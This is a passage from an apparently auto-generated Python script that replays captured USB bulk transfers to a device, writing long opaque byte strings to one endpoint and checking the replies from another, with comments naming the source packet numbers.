b\"\\xF1\\xA1\\x1C\\x92\\xA2\\x27\\xC2\\x27\\xFA\\x2E\\x93\\x41\\xEC\\x37\\xED\\xE6\"\n b\"\\x65\\x14\\x49\\x40\\x27\\x4F\\x21\\x85\\xCE\\x87\\x84\\xBF\\x10\\x4D\\xDE\\x29\"\n b\"\\x57\\xA4\\xA2\\x58\\xA1\\x9A\\x6F\\x17\\x30\\xC2\\xF3\\x04\\x41\\x7A\\xDF\\x0E\"\n b\"\\x78\\xAD\\x98\\x7C\\x00\\x51\\x13\\x42\\x21\\xED\\xFD\\xC8\\xA3\\x1B\\x72\\xA1\"\n b\"\\x16\\xDB\\x9C\\x8D\\x67\\x97\\x58\\x3E\\x7F\\xAA\\x0C\\x2A\\xF7\\x0B\\xE6\\x59\"\n b\"\\xA7\\x3F\\xD7\\xF3\\x5E\\x4C\\xF9\\x0E\\xA7\\x66\\xC3\\x19\\x28\\x59\\xD3\\x56\"\n b\"\\xDF\\x76\\xDC\\xEB\\xC4\\xAE\\x6A\\x38\\xAA\\x51\\x23\\x71\\x2E\\x46\\xAC\\x70\"\n b\"\\x14\\x01\\x0A\\x70\\x82\\xDC\\xF2\\x94\\x76\\xE1\\x2D\\x3E\\xB3\\x35\\x24\\x86\"\n b\"\\xAA\\x68\\x7E\\x55\\x3C\\xC7\\x3B\\xA8\\x87\\x14\\x28\\x3F\\x93\\xAE\\x22\\x03\"\n b\"\\xC5\\xF0\\x9A\\x63\\xF0\\xD3\\x03\\x29\\x30\\x3D\\x99\\xAD\\xFC\\x50\\x8C\\x3A\"\n b\"\\xD0\\xA6\\xA4\\x13\\xF8\\x54\\x87\\x3B\\x52\\xA5\\x72\\x61\\xF5\\x76\\x60\\xA8\"\n b\"\\xFB\\x78\\x5C\\xA6\\xB1\\x85\\xB7\\xA7\\xF2\\x92\\xAF\\x25\\x80\\x1C\\x1E\\xA0\"\n b\"\\x28\\x81\\xBA\\x17\\xE3\\x8A\\xB4\\x83\\xED\\x20\\xE0\\x6D\")\n # Generated from packet 2927/2928\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2927/2928\")\n # Generated from packet 2929/2930\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x92\\x7A\\xDB\\xD0\\x8A\\x3C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBB\\x95\\x9C\\x4C\\x4A\\x1A\\x52\\xCB\"\n b\"\\x1D\\xEF\\x06\\x70\\x15\\x0D\\x51\\xEE\\x8C\\xC2\\xEE\\x2F\\x65\\xD0\\x7A\\xA8\"\n b\"\\x69\\x0C\\xB2\\xFF\\x44\\x3A\\x88\\x1C\\xC3\\x69\\x0E\\xC2\\x76\\x31\\x07\\x93\"\n b\"\\x10\\x27\\x1E\\xED\\xB7\\xAE\\x3D\\x49\\x11\\xEC\\x66\\x21\\xD4\\x05\\xAE\\x84\"\n b\"\\xEE\\xDB\\x64\\xDE\\x78\\x9C\\x8D\\xA2\\x09\\x6A\\xB3\\x6F\\x46\\xFB\\xEB\\xF3\"\n b\"\\x55\\x8A\\x53\\xDF\\x5F\\xB3\\x84\\x98\\x2D\\xCB\\x78\\x13\\x13\\xEA\\xC4\\xFD\"\n b\"\\x99\\x68\\x32\\x72\\xF0\\xDD\\xF2\\x9C\\xDC\\xAC\\xBE\\x58\\x6F\\xB4\\x83\\x0C\"\n b\"\\x7B\\x3C\\x22\\xE6\\x08\\x6C\\x16\\xD7\\xA2\\x95\\x65\\xF9\\x5F\\x6C\\x4F\\xC3\"\n b\"\\x48\\xE3\\x70\\xD3\\x07\\x14\\x5F\\xDC\\xBA\\x0F\\x87\\x6A\\x69\\x61\\x78\\x23\"\n b\"\\x20\\xE5\\x6F\\xAC\\x21\\xDF\\x28\\x0A\\x21\\x49\\xF5\\xF2\\xC5\\xBD\\xC8\\x2D\"\n b\"\\x6F\\x78\\x1C\\x24\\xD7\\x61\\x41\\x7E\\x04\\xF7\\xEE\\x3B\\xF9\\x4C\\x3D\\x28\"\n b\"\\x6E\\x58\\x87\\x22\\x52\\x0E\\xD9\\x9A\\x32\\x3B\\xFA\\x03\\x78\\xFB\\x14\\x99\"\n b\"\\xFC\\x37\\x79\\x8C\\x6B\\x1B\\x8F\\xA4\\x42\\x33\\x7D\\x87\\x6A\\x99\\x8C\\x72\"\n b\"\\x30\\x3E\\x5F\\x60\\xF9\\x30\\x51\\x5C\\xF7\\x7A\\xAC\\xB7\\xF6\\x39\\xBB\\xAF\"\n b\"\\x74\\x4B\\x35\\x1E\\xF1\\xE3\\xA8\\xBA\\x46\\x28\\xA3\\xB4\\xD2\\x26\\x09\\xE0\"\n b\"\\x3C\\xD9\\x53\\xA8\\xB1\\x84\\x9D\\xAA\\x8A\\xFB\\xEB\\xC5\\xE2\\x92\\x12\\xDE\"\n b\"\\x1B\\xD5\\x04\\xF1\\x80\\x51\\x33\\x93\\xCB\\xE4\\x5A\\x8F\")\n # Generated from packet 2931/2932\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2931/2932\")\n # Generated from packet 2933/2934\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x29\\x44\\x16\\x87\\x8A\\x61\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE7\\x29\\xF3\\x40\\xF1\\x32\\xED\\xE6\"\n b\"\\x78\\x11\\x49\\x40\\x3A\\x4A\\x21\\x85\\xD3\\x82\\x84\\xBF\\x0D\\x48\\xDE\\x29\"\n b\"\\x4A\\xA1\\xA2\\x58\\xBC\\x9F\\x6F\\x17\\x2D\\xC7\\xF3\\x04\\x5C\\x7F\\xDF\\x0E\"\n b\"\\x65\\xA8\\x98\\x7C\\x1D\\x54\\x13\\x42\\x3C\\xE8\\xFD\\xC8\\xBE\\x1E\\x72\\xA1\"\n b\"\\x0B\\xDE\\x9C\\x8D\\x7A\\x92\\x58\\x3E\\x62\\xAF\\x0C\\x2A\\xEA\\x0E\\xE6\\x59\"\n b\"\\xBA\\x3A\\xD7\\xF3\\x43\\x49\\xF9\\x0E\\xBA\\x63\\xC3\\x19\\x35\\x5C\\xD3\\x56\"\n b\"\\xC2\\x73\\xDC\\xEB\\xD9\\xAB\\x6A\\x38\\xB7\\x54\\x23\\x71\\x33\\x43\\xAC\\x70\"\n b\"\\x09\\x04\\x0A\\x70\\x9F\\xD9\\xF2\\x94\\x6B\\xE4\\x2D\\x3E\\xAE\\x30\\x24\\x86\"\n b\"\\xB7\\x6D\\x7E\\x55\\x21\\xC2\\x3B\\xA8\\x9A\\x11\\x28\\x3F\\x8E\\xAB\\x22\\x03\"\n b\"\\xD8\\xF5\\x9A\\x63\\xED\\xD6\\x03\\x29\\x2D\\x38\\x99\\xAD\\xE1\\x55\\x8C\\x3A\"\n b\"\\xCD\\xA3\\xA4\\x13\\xE5\\x51\\x87\\x3B\\x4F\\xA0\\x72\\x61\\xE8\\x73\\x60\\xA8\"\n b\"\\xE6\\x7D\\x5C\\xA6\\xAC\\x80\\xB7\\xA7\\xEF\\x97\\xAF\\x25\\x9D\\x19\\x1E\\xA0\"\n b\"\\x35\\x84\\xBA\\x17\\xFE\\x8F\\xB4\\x83\\xF0\\x25\\xE0\\x6D\\x0F\\x7F\\xA8\\xE0\"\n b\"\\x52\\xB1\\xAA\\xDB\\x2D\\xC7\\xC5\\xB3\\x44\\x3E\\xDE\\x4A\\x03\\x28\\xF1\\xD1\"\n b\"\\x87\\x1F\\x93\\x9A\\x32\\x76\\x8F\\x5D\\xB3\\x71\\xFA\\x01\\xF2\\x24\\xE3\\x93\"\n b\"\\xC2\\xD8\\x88\\x6C\\xDB\\x6D\\x6A\\xD8\\x8A\\x3E\\x3E\\xAA\\x36\\x8E\\x49\\x0D\"\n b\"\\x82\\xD1\\x4A\\x9F\\x4B\\x2E\\x8D\\x0C\\x84\\x30\\x4F\\xC1\")\n # Generated from packet 2935/2936\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2935/2936\")\n # Generated from packet 2937/2938\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE7\\x14\\x18\\x93\\x8F\\x18\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3B\\xD6\\xB1\\xC7\\xA4\\xD1\\xA5\\x77\"\n b\"\\xCF\\x75\\x2E\\xAE\\x91\\x59\\x56\\x9B\\x26\\x1A\\xEF\\x92\\x8E\\x5E\\x03\\x74\"\n b\"\\x76\\x33\\x84\\xD5\\xE3\\x26\\x7D\\xEA\\x02\\xFF\\x4D\\x1B\\x6C\\x51\\xCB\\x4C\"\n b\"\\x99\\x05\\x70\\x44\\x7B\\x52\\xEE\\xDD\\xB4\\xED\\x2F\\x34\\xA6\\x79\\xA8\\x38\"\n b\"\\x7A\\xB1\\xFF\\x15\\x4C\\x8B\\x1C\\x92\\x1F\\x0D\\xC2\\x27\\x47\\x04\\x93\\x41\"\n b\"\\x51\\x1D\\xED\\xE6\\xD8\\x3E\\x49\\x40\\x9A\\x65\\x21\\x85\\x73\\xAD\\x84\\xBF\"\n b\"\\xAD\\x67\\xDE\\x29\\xEA\\x8E\\xA2\\x58\\x1C\\xB0\\x6F\\x17\\x8D\\xE8\\xF3\\x04\"\n b\"\\xFC\\x50\\xDF\\x0E\\xC5\\x87\\x98\\x7C\\xBD\\x7B\\x13\\x42\\x9C\\xC7\\xFD\\xC8\"\n b\"\\x1E\\x31\\x72\\xA1\\xAB\\xF1\\x9C\\x8D\\xDA\\xBD\\x58\\x3E\\xC2\\x80\\x0C\\x2A\"\n b\"\\x4A\\x21\\xE6\\x59\\x1A\\x15\\xD7\\xF3\\xE3\\x66\\xF9\\x0E\\x1A\\x4C\\xC3\\x19\"\n b\"\\x95\\x73\\xD3\\x56\\x62\\x5C\\xDC\\xEB\\x79\\x84\\x6A\\x38\\x17\\x7B\\x23\\x71\"\n b\"\\x93\\x6C\\xAC\\x70\\xA9\\x2B\\x0A\\x70\\x3F\\xF6\\xF2\\x94\\xCB\\xCB\\x2D\\x3E\"\n b\"\\x0E\\x1F\\x24\\x86\\x17\\x42\\x7E\\x55\\x81\\xED\\x3B\\xA8\\x3A\\x3E\\x28\\x3F\"\n b\"\\x2E\\x84\\x22\\x03\\x78\\xDA\\x9A\\x63\\x4D\\xF9\\x03\\x29\\x8D\\x17\\x99\\xAD\"\n b\"\\x41\\x7A\\x8C\\x3A\\x6D\\x8C\\xA4\\x13\\x45\\x7E\\x87\\x3B\\xEF\\x8F\\x72\\x61\"\n b\"\\x48\\x5C\\x60\\xA8\\x46\\x52\\x5C\\xA6\\x0C\\xAF\\xB7\\xA7\\x4F\\xB8\\xAF\\x25\"\n b\"\\x3D\\x36\\x1E\\xA0\\x95\\xAB\\xBA\\x17\\x5E\\xA0\\xB4\\x83\")\n # Generated from packet 2939/2940\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2939/2940\")\n # Generated from packet 2941/2942\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB5\\xE5\\x0A\\xAF\\x27\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB5\\xFD\\x96\\x48\\xBA\\x90\\xE6\\x69\"\n b\"\\xB2\\x7A\\x3D\\xA3\\x66\\x5E\\x76\\x7A\\x7D\\x9F\\xA7\\xC8\\x90\\xF5\\x0D\\xD6\"\n b\"\\x30\\x3F\\x1F\\x02\\x9C\\x28\\xC3\\xEF\\xE9\\x68\\x97\\xCA\\x13\\x7A\\xC6\\x55\"\n b\"\\x36\\x0E\\x77\\x3E\\x92\\x85\\xAE\\x60\\xBE\\xFD\\x9B\\xD7\\xFD\\x44\\x92\\x7F\"\n b\"\\xB9\\xA8\\x74\\x87\\xD4\\x2F\\xD5\\x12\\xC1\\xD6\\xEA\\xF3\\x18\\xE6\\x1B\\x9D\"\n b\"\\xB6\\x60\\x4C\\x68\\xE2\\xDB\\x44\\x8A\\xB5\\x45\\xDD\\x45\\x0A\\x84\\x34\\x57\"\n b\"\\x9E\\x03\\x38\\x8B\\x56\\x54\\x15\\xBD\\x6C\\xB7\\x92\\xEE\\xEA\\x69\\x27\\xB6\"\n b\"\\xE3\\x38\\x41\\xA0\\xFA\\x46\\xE6\\x29\\xD9\\xE2\\x40\\x6B\\x82\\x8A\\x85\\x82\"\n b\"\\x4A\\x2F\\xBF\\x5C\\x80\\x75\\x29\\x1B\\x69\\x09\\x58\\xED\\x57\\xC4\\x17\\x7C\"\n b\"\\x0F\\x58\\x04\\x0D\\xB7\\x74\\x0E\\x34\\x60\\x33\\x7C\\x4C\\x9C\\xB8\\x42\\x6D\"\n b\"\\x20\\x56\\xC8\\xEF\\xD6\\xD9\\xA1\\x5A\\x16\\x37\\x8D\\x2B\\x5A\\xF3\\x3E\\x33\"\n b\"\\x67\\xA7\\x2A\\xBB\\xC6\\x4D\\x59\\xEB\\xF2\\x7C\\xF3\\x12\\x81\\x52\\x0E\\xEB\"\n b\"\\xAB\\x68\\x19\\x64\\x94\\x78\\x56\\x93\\xBB\\x77\\xEB\\x88\\x63\\xC1\\x38\\xE6\"\n b\"\\x9C\\x88\\x71\\x62\\x8B\\x07\\x70\\x58\\xCC\\xA1\\x70\\xCE\\x11\\x59\\x94\\x3A\"\n b\"\\x2C\\x86\\x3E\\xFF\\xF8\\x8F\\x86\\xE6\\xA5\\xD5\\x55\\x70\\x0A\\x90\\xA8\\xCB\"\n b\"\\xD9\\x83\\x3F\\xDF\\x63\\x89\\x03\\x89\\x3D\\x31\\x63\\xBC\\x1E\\xA8\\x29\\x7C\"\n b\"\\xF0\\x32\\xAD\\xB0\\x9D\\x27\\x3A\\x9C\\x6B\\x0F\\x13\\xB4\")\n # Generated from packet 2943/2944\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2943/2944\")\n # Generated from packet 2945/2946\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7B\\xB5\\x04\\xBB\\x5C\\x7F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDC\\xF7\\xC8\\x39\\x00\\x5D\\xFF\\x15\"\n b\"\\x36\\x67\\x1C\\x92\\x65\\xE1\\xC2\\x27\\x3D\\xE8\\x93\\x41\\x2B\\xF1\\xED\\xE6\"\n b\"\\xA2\\xD2\\x49\\x40\\xE0\\x89\\x21\\x85\\x09\\x41\\x84\\xBF\\xD7\\x8B\\xDE\\x29\"\n b\"\\x90\\x62\\xA2\\x58\\x66\\x5C\\x6F\\x17\\xF7\\x04\\xF3\\x04\\x86\\xBC\\xDF\\x0E\"\n b\"\\xBF\\x6B\\x98\\x7C\\xC7\\x97\\x13\\x42\\xE6\\x2B\\xFD\\xC8\\x64\\xDD\\x72\\xA1\"\n b\"\\xD1\\x1D\\x9C\\x8D\\xA0\\x51\\x58\\x3E\\xB8\\x6C\\x0C\\x2A\\x30\\xCD\\xE6\\x59\"\n b\"\\x60\\xF9\\xD7\\xF3\\x99\\x8A\\xF9\\x0E\\x60\\xA0\\xC3\\x19\\xEF\\x9F\\xD3\\x56\"\n b\"\\x18\\xB0\\xDC\\xEB\\x03\\x68\\x6A\\x38\\x6D\\x97\\x23\\x71\\xE9\\x80\\xAC\\x70\"\n b\"\\xD3\\xC7\\x0A\\x70\\x45\\x1A\\xF2\\x94\\xB1\\x27\\x2D\\x3E\\x74\\xF3\\x24\\x86\"\n b\"\\x6D\\xAE\\x7E\\x55\\xFB\\x01\\x3B\\xA8\\x40\\xD2\\x28\\x3F\\x54\\x68\\x22\\x03\"\n b\"\\x02\\x36\\x9A\\x63\\x37\\x15\\x03\\x29\\xF7\\xFB\\x99\\xAD\\x3B\\x96\\x8C\\x3A\"\n b\"\\x17\\x60\\xA4\\x13\\x3F\\x92\\x87\\x3B\\x95\\x63\\x72\\x61\\x32\\xB0\\x60\\xA8\"\n b\"\\x3C\\xBE\\x5C\\xA6\\x76\\x43\\xB7\\xA7\\x35\\x54\\xAF\\x25\\x47\\xDA\\x1E\\xA0\"\n b\"\\xEF\\x47\\xBA\\x17\\x24\\x4C\\xB4\\x83\\x2A\\xE6\\xE0\\x6D\\xD5\\xBC\\xA8\\xE0\"\n b\"\\x88\\x72\\xAA\\xDB\\xF7\\x04\\xC5\\xB3\\x9E\\xFD\\xDE\\x4A\\xD9\\xEB\\xF1\\xD1\"\n b\"\\x5D\\xDC\\x93\\x9A\\xE8\\xB5\\x8F\\x5D\\x69\\xB2\\xFA\\x01\\x28\\xE7\\xE3\\x93\"\n b\"\\x18\\x1B\\x88\\x6C\\x01\\xAE\\x6A\\xD8\\x50\\xFD\\x3E\\xAA\")\n # Generated from packet 2947/2948\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2947/2948\")\n # Generated from packet 2949/2950\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x11\\x07\\x2F\\xD7\\xF7\\x01\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x98\\x83\\xE5\\x83\\x50\\xA4\\xBF\\x5C\"\n b\"\\x9A\\xFE\\x29\\x1B\\x73\\x82\\x58\\xED\\x4D\\x4F\\x17\\x7C\\x15\\xD3\\x04\\x0D\"\n b\"\\xAD\\xFF\\x0E\\x34\\x7A\\xB8\\x7C\\x4C\\x86\\x33\\x42\\x6D\\x3A\\xDD\\xC8\\xEF\"\n b\"\\xCC\\x52\\xA1\\x5A\\x0C\\xBC\\x8D\\x2B\\x40\\x78\\x3E\\x33\\x7D\\x2C\\x2A\\xBB\"\n b\"\\xDC\\xC6\\x59\\xEB\\xE8\\xF7\\xF3\\x12\\x9B\\xD9\\x0E\\xEB\\xB1\\xE3\\x19\\x64\"\n b\"\\x8E\\xF3\\x56\\x93\\xA1\\xFC\\xEB\\x88\\x79\\x4A\\x38\\xE6\\x86\\x03\\x71\\x62\"\n b\"\\x91\\x8C\\x70\\x58\\xD6\\x2A\\x70\\xCE\\x0B\\xD2\\x94\\x3A\\x36\\x0D\\x3E\\xFF\"\n b\"\\xE2\\x04\\x86\\xE6\\xBF\\x5E\\x55\\x70\\x10\\x1B\\xA8\\xCB\\xC3\\x08\\x3F\\xDF\"\n b\"\\x79\\x02\\x03\\x89\\x27\\xBA\\x63\\xBC\\x04\\x23\\x29\\x7C\\xEA\\xB9\\xAD\\xB0\"\n b\"\\x87\\xAC\\x3A\\x9C\\x71\\x84\\x13\\xB4\\x83\\xA7\\x3B\\x1E\\x72\\x52\\x61\\xB9\"\n b\"\\xA1\\x40\\xA8\\xB7\\xAF\\x7C\\xA6\\xFD\\x52\\x97\\xA7\\xBE\\x45\\x8F\\x25\\xCC\"\n b\"\\xCB\\x3E\\xA0\\x64\\x56\\x9A\\x17\\xAF\\x5D\\x94\\x83\\xA1\\xF7\\xC0\\x6D\\x5E\"\n b\"\\xAD\\x88\\xE0\\x03\\x63\\x8A\\xDB\\x7C\\x15\\xE5\\xB3\\x15\\xEC\\xFE\\x4A\\x52\"\n b\"\\xFA\\xD1\\xD1\\xD6\\xCD\\xB3\\x9A\\x63\\xA4\\xAF\\x5D\\xE2\\xA3\\xDA\\x01\\xA3\"\n b\"\\xF6\\xC3\\x93\\x93\\x0A\\xA8\\x6C\\x8A\\xBF\\x4A\\xD8\\xDB\\xEC\\x1E\\xAA\\x67\"\n b\"\\x5C\\x69\\x0D\\xD3\\x03\\x6A\\x9F\\x1A\\xFC\\xAD\\x0C\\xD5\\xE2\\x6F\\xC1\\x08\"\n b\"\\xB4\\x63\\x30\\x99\\xC8\\x21\\x0A\\x22\\x63\\xCA\\xCA\\xF6\")\n # Generated from packet 2951/2952\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2951/2952\")\n # Generated from packet 2953/2954\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDF\\x57\\x21\\xC3\\xE5\\x52\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\xD7\\x9F\\x18\\x3B\\x5E\\xB4\\x74\"\n b\"\\x4F\\x71\\x3C\\x68\\x96\\xB6\\x6D\\x4F\\xC1\\xF8\\x10\\xFD\\x42\\xA8\\xEC\\xA9\"\n b\"\\x11\\xA9\\x27\\x27\\x3E\\x62\\x4F\\xEC\\x59\\x4E\\x77\\xEF\\xB7\\x94\\x88\\xB0\"\n b\"\\xDE\\xD4\\x94\\xB0\\x8C\\xC1\\xFA\\x6F\\x31\\x3D\\x5C\\xDF\\xB2\\x9B\\x49\\xDF\"\n b\"\\x7E\\xAF\\xBE\\xD3\\x2C\\x32\\x85\\xB8\\xFA\\x12\\x3D\\x18\\xDD\\x6C\\x06\\x4A\"\n b\"\\xA9\\x84\\x1C\\x3F\\xCB\\x1B\\x14\\xF6\\xF5\\x14\\x3B\\xE6\\xD5\\x1C\\xD1\\x3D\"\n b\"\\x1F\\xC8\\xF5\\x76\\xC6\\xD3\\x34\\xA7\\x74\\x3E\\x5E\\x0D\\x6A\\x9E\\x94\\x1F\"\n b\"\\xBE\\x32\\x83\\xC3\\x53\\x47\\xC3\\x97\\x76\\xBD\\xD1\\xC6\\xE9\\x98\\xA5\\x77\"\n b\"\\x82\\x3C\\x2E\\xAE\\xDC\\x10\\x56\\x9B\\x6B\\x53\\xEF\\x92\\xC3\\x17\\x03\\x74\"\n b\"\\x3B\\x7A\\x84\\xD5\\xAE\\x6F\\x7D\\xEA\\x4F\\xB6\\x4D\\x1B\\x21\\x18\\xCB\\x4C\"\n b\"\\xD4\\x4C\\x70\\x44\\x36\\x1B\\xEE\\xDD\\xF9\\xA4\\x2F\\x34\\xEB\\x30\\xA8\\x38\"\n b\"\\x37\\xF8\\xFF\\x15\\x01\\xC2\\x1C\\x92\\x52\\x44\\xC2\\x27\\x0A\\x4D\\x93\\x41\"\n b\"\\x1C\\x54\\xED\\xE6\\x95\\x77\\x49\\x40\\xD7\\x2C\\x21\\x85\\x3E\\xE4\\x84\\xBF\"\n b\"\\xE0\\x2E\\xDE\\x29\\xA7\\xC7\\xA2\\x58\\x51\\xF9\\x6F\\x17\\xC0\\xA1\\xF3\\x04\"\n b\"\\xB1\\x19\\xDF\\x0E\\x88\\xCE\\x98\\x7C\\xF0\\x32\\x13\\x42\\xD1\\x8E\\xFD\\xC8\"\n b\"\\x53\\x78\\x72\\xA1\\xE6\\xB8\\x9C\\x8D\\x97\\xF4\\x58\\x3E\\x8F\\xC9\\x0C\\x2A\"\n b\"\\x07\\x68\\xE6\\x59\\x57\\x5C\\xD7\\xF3\\xAE\\x2F\\xF9\\x0E\")\n # Generated from packet 2955/2956\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2955/2956\")\n # Generated from packet 2957/2958\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8D\\xA6\\x33\\xFF\\x87\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7B\\x7B\\x9F\\x14\\x4D\\x83\\x1C\\x92\"\n b\"\\x1E\\x05\\xC2\\x27\\x46\\x0C\\x93\\x41\\x50\\x15\\xED\\xE6\\xD9\\x36\\x49\\x40\"\n b\"\\x9B\\x6D\\x21\\x85\\x72\\xA5\\x84\\xBF\\xAC\\x6F\\xDE\\x29\\xEB\\x86\\xA2\\x58\"\n b\"\\x1D\\xB8\\x6F\\x17\\x8C\\xE0\\xF3\\x04\\xFD\\x58\\xDF\\x0E\\xC4\\x8F\\x98\\x7C\"\n b\"\\xBC\\x73\\x13\\x42\\x9D\\xCF\\xFD\\xC8\\x1F\\x39\\x72\\xA1\\xAA\\xF9\\x9C\\x8D\"\n b\"\\xDB\\xB5\\x58\\x3E\\xC3\\x88\\x0C\\x2A\\x4B\\x29\\xE6\\x59\\x1B\\x1D\\xD7\\xF3\"\n b\"\\xE2\\x6E\\xF9\\x0E\\x1B\\x44\\xC3\\x19\\x94\\x7B\\xD3\\x56\\x63\\x54\\xDC\\xEB\"\n b\"\\x78\\x8C\\x6A\\x38\\x16\\x73\\x23\\x71\\x92\\x64\\xAC\\x70\\xA8\\x23\\x0A\\x70\"\n b\"\\x3E\\xFE\\xF2\\x94\\xCA\\xC3\\x2D\\x3E\\x0F\\x17\\x24\\x86\\x16\\x4A\\x7E\\x55\"\n b\"\\x80\\xE5\\x3B\\xA8\\x3B\\x36\\x28\\x3F\\x2F\\x8C\\x22\\x03\\x79\\xD2\\x9A\\x63\"\n b\"\\x4C\\xF1\\x03\\x29\\x8C\\x1F\\x99\\xAD\\x40\\x72\\x8C\\x3A\\x6C\\x84\\xA4\\x13\"\n b\"\\x44\\x76\\x87\\x3B\\xEE\\x87\\x72\\x61\\x49\\x54\\x60\\xA8\\x47\\x5A\\x5C\\xA6\"\n b\"\\x0D\\xA7\\xB7\\xA7\\x4E\\xB0\\xAF\\x25\\x3C\\x3E\\x1E\\xA0\\x94\\xA3\\xBA\\x17\"\n b\"\\x5F\\xA8\\xB4\\x83\\x51\\x02\\xE0\\x6D\\xAE\\x58\\xA8\\xE0\\xF3\\x96\\xAA\\xDB\"\n b\"\\x8C\\xE0\\xC5\\xB3\\xE5\\x19\\xDE\\x4A\\xA2\\x0F\\xF1\\xD1\\x26\\x38\\x93\\x9A\"\n b\"\\x93\\x51\\x8F\\x5D\\x12\\x56\\xFA\\x01\\x53\\x03\\xE3\\x93\\x63\\xFF\\x88\\x6C\"\n b\"\\x7A\\x4A\\x6A\\xD8\\x2B\\x19\\x3E\\xAA\\x97\\xA9\\x49\\x0D\")\n # Generated from packet 2959/2960\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2959/2960\")\n # Generated from packet 2961/2962\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x43\\xF6\\x3D\\xEB\\x4A\\x16\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD7\\xB4\\xD0\\x31\\xC2\\x38\\x6F\\x8D\"\n b\"\\x3E\\x9E\\xDF\\x0E\\x98\\x8B\\xDF\\xC2\\xAC\\x7C\\xD3\\x90\\x31\\x47\\xB8\\x46\"\n b\"\\x11\\xFF\\x18\\x61\\x6F\\xC4\\x4A\\x15\\x87\\xDE\\x3F\\x77\\x18\\xD6\\xF6\\x49\"\n b\"\\x17\\xF9\\xE6\\x69\\x1F\\x13\\x3D\\xA3\\xCB\\x37\\x76\\x7A\\xD0\\xF6\\xA7\\xC8\"\n b\"\\x3D\\x9C\\x0D\\xD6\\x9D\\x56\\x1F\\x02\\x31\\x41\\xC3\\xEF\\x44\\x01\\x97\\xCA\"\n b\"\\xBE\\x13\\xC6\\x55\\x9B\\x67\\x77\\x3E\\x3F\\xEC\\xAE\\x60\\x13\\x94\\x9B\\xD7\"\n b\"\\x50\\x2D\\x92\\x7F\\x14\\xC1\\x74\\x87\\x79\\x46\\xD5\\x12\\x6C\\xBF\\xEA\\xF3\"\n b\"\\xB5\\x8F\\x1B\\x9D\\x1B\\x09\\x4C\\x68\\x4F\\xB2\\x44\\x8A\\x18\\x2C\\xDD\\x45\"\n b\"\\xA7\\xED\\x34\\x57\\x33\\x6A\\x38\\x8B\\xFB\\x3D\\x15\\xBD\\xC1\\xDE\\x92\\xEE\"\n b\"\\x47\\x00\\x27\\xB6\\x4E\\x51\\x41\\xA0\\x57\\x2F\\xE6\\x29\\x74\\x8B\\x40\\x6B\"\n b\"\\x2F\\xE3\\x85\\x82\\xE7\\x46\\xBF\\x5C\\x2D\\x1C\\x29\\x1B\\xC4\\x60\\x58\\xED\"\n b\"\\xFA\\xAD\\x17\\x7C\\xA2\\x31\\x04\\x0D\\x1A\\x1D\\x0E\\x34\\xCD\\x5A\\x7C\\x4C\"\n b\"\\x31\\xD1\\x42\\x6D\\x8D\\x3F\\xC8\\xEF\\x7B\\xB0\\xA1\\x5A\\xBB\\x5E\\x8D\\x2B\"\n b\"\\xF7\\x9A\\x3E\\x33\\xCA\\xCE\\x2A\\xBB\\x6B\\x24\\x59\\xEB\\x5F\\x15\\xF3\\x12\"\n b\"\\x2C\\x3B\\x0E\\xEB\\x06\\x01\\x19\\x64\\x39\\x11\\x56\\x93\\x16\\x1E\\xEB\\x88\"\n b\"\\xCE\\xA8\\x38\\xE6\\x31\\xE1\\x71\\x62\\x26\\x6E\\x70\\x58\\x61\\xC8\\x70\\xCE\"\n b\"\\xBC\\x30\\x94\\x3A\\x81\\xEF\\x3E\\xFF\\x55\\xE6\\x86\\xE6\")\n # Generated from packet 2963/2964\n buff = bulkRead(0x81, 0x0200)\n 